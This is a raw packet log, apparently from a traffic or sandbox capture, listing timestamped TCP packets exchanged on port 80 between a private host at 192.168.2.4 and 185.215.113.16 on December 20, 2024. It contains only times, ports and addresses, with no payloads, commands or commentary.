Dec 20, 2024 11:12:33.923307896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.923382044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.924293041 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.924338102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.924380064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.924421072 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.925381899 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.925426960 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.925702095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.925746918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.926403999 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.926445961 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.926480055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.927469015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.927525997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.927580118 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.927628994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.928510904 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.928563118 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.928570986 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.928612947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.929583073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.929632902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.929812908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.929857969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.930636883 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.930788040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.930841923 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.931684017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.931736946 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.931777000 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.931821108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.932945013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.933023930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.933058023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.933116913 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.933830976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.933876991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.933945894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.933991909 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.934895992 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.934947968 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.935036898 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.935084105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.935892105 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.935935020 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.936049938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.936095953 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.937031031 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.937047958 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.937081099 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.937093973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.938071012 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.938121080 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.938162088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.938208103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.939094067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.939141035 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.939203024 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.939254045 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.940156937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.940202951 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.940213919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.940265894 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.941234112 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.941282988 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.941349983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.941395044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.942289114 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.942338943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.942480087 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.942543983 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.943341970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.943392038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.943427086 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.943473101 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.944407940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.944456100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.944523096 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.944566965 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.945563078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.945610046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.945638895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.945679903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.946501970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.946552038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.946623087 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.946669102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.947585106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.947634935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.947717905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.947766066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.948652029 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.948700905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.948734999 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.948779106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.949707985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.949754953 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.949790001 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.949862003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.950771093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.950819016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.950860023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.950906038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.951814890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.951864004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.951947927 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.951993942 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.952863932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.952912092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.952924967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.952972889 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.953922033 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.953969955 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.954030991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.954077959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.955009937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.955054998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.955104113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.955146074 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.956155062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.956203938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.956367970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.956417084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.957114935 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.957190990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.957268953 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.957330942 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.958197117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.958213091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.958250999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.958265066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.959259987 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.959323883 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.959393978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.959444046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.960311890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.960361004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.960393906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.960442066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.961365938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.961415052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.961541891 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.961587906 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.962409019 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.962455988 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.962493896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.962539911 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.963447094 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.963495016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.963500023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.963541985 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.964520931 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.964570999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.964674950 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.964720011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.965629101 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.965683937 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.965713978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.965774059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.966620922 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.966666937 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.966757059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.966800928 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.967761040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.967811108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.967868090 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.967911959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.968775034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.968822002 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.968908072 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.968955994 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.969845057 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.969904900 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.970061064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.970108986 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.970868111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.970912933 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.970952988 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.971015930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.971939087 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.971986055 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.972002983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.972048044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.973002911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.973042011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.973072052 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.973115921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:33.974018097 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:33.974060059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.110969067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.111103058 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.111118078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.111134052 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.111181974 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.111210108 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.112087965 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.112103939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.112145901 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.113945961 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.113970041 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.114027023 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.114841938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.114901066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.115056038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.115101099 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.115963936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.115982056 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.116039991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.116501093 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.116550922 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.116879940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.116925001 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.117369890 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.117386103 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.117413998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.117424965 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.118263006 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.118315935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.118391037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.118434906 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.119369984 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.119419098 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.119430065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.119479895 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.120485067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.120594025 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.120644093 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.121448040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.121510983 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.121557951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.121606112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.122512102 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.122556925 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.122617960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.122662067 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.123564959 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.123610973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.123650074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.123708963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.124633074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.124685049 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.124727011 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.124768972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.125691891 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.125807047 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.125866890 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.126765013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.126823902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.126913071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.126960993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.127791882 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.127840996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.127897978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.128020048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.128843069 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.128971100 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.128993034 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.129009008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.129903078 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.129964113 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.129996061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.130052090 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.130971909 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.131095886 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.131150007 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.132081032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.132147074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.132201910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.133089066 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.133135080 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.133203030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.133248091 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.134155035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.134200096 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.134254932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.134299040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.135205030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.135251999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.135310888 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.135365009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.136265039 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.136379004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.136379004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.136428118 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.137332916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.137379885 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.137450933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.137494087 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.138401985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.138447046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.138686895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.138730049 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.139465094 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.139508963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.139595985 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.139640093 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.140501022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.140552044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.140681982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.140726089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.141571999 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.141617060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.141668081 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.141710997 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.142649889 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.142713070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.142741919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.142786026 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.143726110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.143774033 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.143805981 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.143851042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.144773960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.144907951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.144958019 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.145838976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.145931005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.145950079 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.145989895 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.146858931 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.146903038 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.147023916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.147064924 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.147952080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.147999048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.148030043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.148073912 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.148971081 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.149019003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.149079084 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.149123907 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.150019884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.150068998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.150131941 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.150176048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.151128054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.151180029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:34.151233912 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:34.151278973 CET	49817	80	192.168.2.4	185.215.113.16
